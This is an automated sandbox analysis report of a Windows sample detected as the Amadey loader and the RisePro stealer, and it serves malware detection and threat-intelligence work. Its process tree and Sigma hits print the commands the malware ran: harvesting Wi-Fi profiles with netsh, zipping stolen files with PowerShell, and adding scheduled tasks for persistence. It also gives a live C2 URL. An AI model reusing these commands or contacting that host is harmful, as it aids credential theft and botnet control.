Edit tour

Windows Analysis Report
UeW2b6mU6Z.exe

Overview

General Information

Sample name:	UeW2b6mU6Z.exe renamed because original name is a hash value
Original sample name:	a0de5117f2db3409eeb42464b5c2e811.exe
Analysis ID:	1428439
MD5:	a0de5117f2db3409eeb42464b5c2e811
SHA1:	20300a63f6c8ccce917110e53bd8d4f1a49407fc
SHA256:	3ed276242a69770fe215a6cb9941f57e24eb2289635c65c54353fe62ea015e8e
Tags:	32exetrojan
Infos:

Detection

Amadey, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected RisePro Stealer

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Creates multiple autostart registry keys

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to shutdown other security tools via broadcasted WM_QUERYENDSESSION

Tries to steal Instant Messenger accounts or passwords

Tries to steal Mail credentials (via file / registry access)

Uses netsh to modify the Windows network and firewall settings

Uses schtasks.exe or at.exe to add and modify task schedules

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Sigma detected: Suspicious Add Scheduled Task Parent

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

UeW2b6mU6Z.exe (PID: 7264 cmdline: "C:\Users\user\Desktop\UeW2b6mU6Z.exe" MD5: A0DE5117F2DB3409EEB42464B5C2E811)

explorha.exe (PID: 7460 cmdline: "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe" MD5: A0DE5117F2DB3409EEB42464B5C2E811)

explorha.exe (PID: 7572 cmdline: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe MD5: A0DE5117F2DB3409EEB42464B5C2E811)

explorha.exe (PID: 7056 cmdline: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe MD5: A0DE5117F2DB3409EEB42464B5C2E811)

rundll32.exe (PID: 7444 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 7284 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 7304 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 7312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7476 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 7264 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

amert.exe (PID: 7696 cmdline: "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe" MD5: 1ED78F44A2CAD6E08DA27EDBC701B4BC)

bad48ea9ac.exe (PID: 3448 cmdline: "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe" MD5: 76C779D2A6E42C6DBCFF43E67BB38CA3)

chrome.exe (PID: 7780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2488 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6944 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5564 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3896 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3476 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

590971cd60.exe (PID: 5804 cmdline: "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe" MD5: 3709AD0A7007BCAE942B905A07BD6BBA)

schtasks.exe (PID: 8156 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7348 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 7648 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5804 -s 2108 MD5: C31336C1EFC2CCB44B4326EA793040F2)

explorha.exe (PID: 7356 cmdline: "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe" MD5: A0DE5117F2DB3409EEB42464B5C2E811)

chrosha.exe (PID: 3488 cmdline: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe MD5: 1ED78F44A2CAD6E08DA27EDBC701B4BC)

rundll32.exe (PID: 3756 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5080 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main MD5: EF3179D498793BF4234F708D3BE28633)

netsh.exe (PID: 6204 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

conhost.exe (PID: 6300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6284 cmdline: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rundll32.exe (PID: 6420 cmdline: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main MD5: 889B99C52A60DD49227C5E485A016679)

svchost.exe (PID: 5232 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

bad48ea9ac.exe (PID: 4116 cmdline: "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe" MD5: 76C779D2A6E42C6DBCFF43E67BB38CA3)

chrome.exe (PID: 2084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5696 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,11986883696083450326,11027901686881542534,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

MPGPH131.exe (PID: 5236 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: 3709AD0A7007BCAE942B905A07BD6BBA)

MPGPH131.exe (PID: 4584 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: 3709AD0A7007BCAE942B905A07BD6BBA)

WerFault.exe (PID: 8004 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4584 -s 2156 MD5: C31336C1EFC2CCB44B4326EA793040F2)

590971cd60.exe (PID: 2304 cmdline: "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe" MD5: 3709AD0A7007BCAE942B905A07BD6BBA)

RageMP131.exe (PID: 7652 cmdline: "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe" MD5: 3709AD0A7007BCAE942B905A07BD6BBA)

bad48ea9ac.exe (PID: 7072 cmdline: "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe" MD5: 76C779D2A6E42C6DBCFF43E67BB38CA3)

chrome.exe (PID: 8088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 940 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1716 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4752 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4860 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

590971cd60.exe (PID: 7004 cmdline: "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe" MD5: 3709AD0A7007BCAE942B905A07BD6BBA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: Amadey

{"C2 url": ["193.233.132.167/enigma/index.php"]}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\aMLtP386CmzygUXw7MGrDsU.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\4JKZLoG_AJreMfNRzAg0gnZ.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1662528461.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1631465413.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2888771295.0000000001868000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000002A.00000003.2619416783.0000000005440000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000010.00000002.2896697223.0000000000721000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000028.00000002.2927751545.0000000008107000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000C.00000002.2419534146.0000000000D01000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000037.00000003.2871931818.0000000005440000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000B.00000002.2906723727.000000006E361000.00000020.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002E.00000002.2897094573.00000000002E1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000C.00000003.2378317595.0000000005290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2305523548.0000000004730000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000028.00000002.2907223447.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000028.00000003.2553727448.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000002E.00000003.2702706239.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000028.00000002.2895798421.0000000000631000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001A.00000002.2906782204.000000006C8B1000.00000020.00000001.01000000.00000016.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1670942847.0000000005150000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000037.00000002.2895930049.0000000000B81000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000010.00000003.2430115976.0000000004F30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: 590971cd60.exe PID: 5804	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: 590971cd60.exe PID: 5804	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MPGPH131.exe PID: 5236	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author
11.2.rundll32.exe.6e360000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.rundll32.exe.6e360000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
26.2.rundll32.exe.6c8b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
26.2.rundll32.exe.6c8b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
16.2.chrosha.exe.720000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.amert.exe.d00000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.explorha.exe.ad0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.UeW2b6mU6Z.exe.c40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.explorha.exe.ad0000.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.explorha.exe.ad0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 5 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe, ProcessId: 7056, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bad48ea9ac.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7284, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7476, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe, ProcessId: 7056, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\bad48ea9ac.exe

Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7284, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7476, ProcessName: powershell.exe

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe, ParentProcessId: 5804, ParentProcessName: 590971cd60.exe, ProcessCommandLine: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST, ProcessId: 8156, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 7284, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal, ProcessId: 7476, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

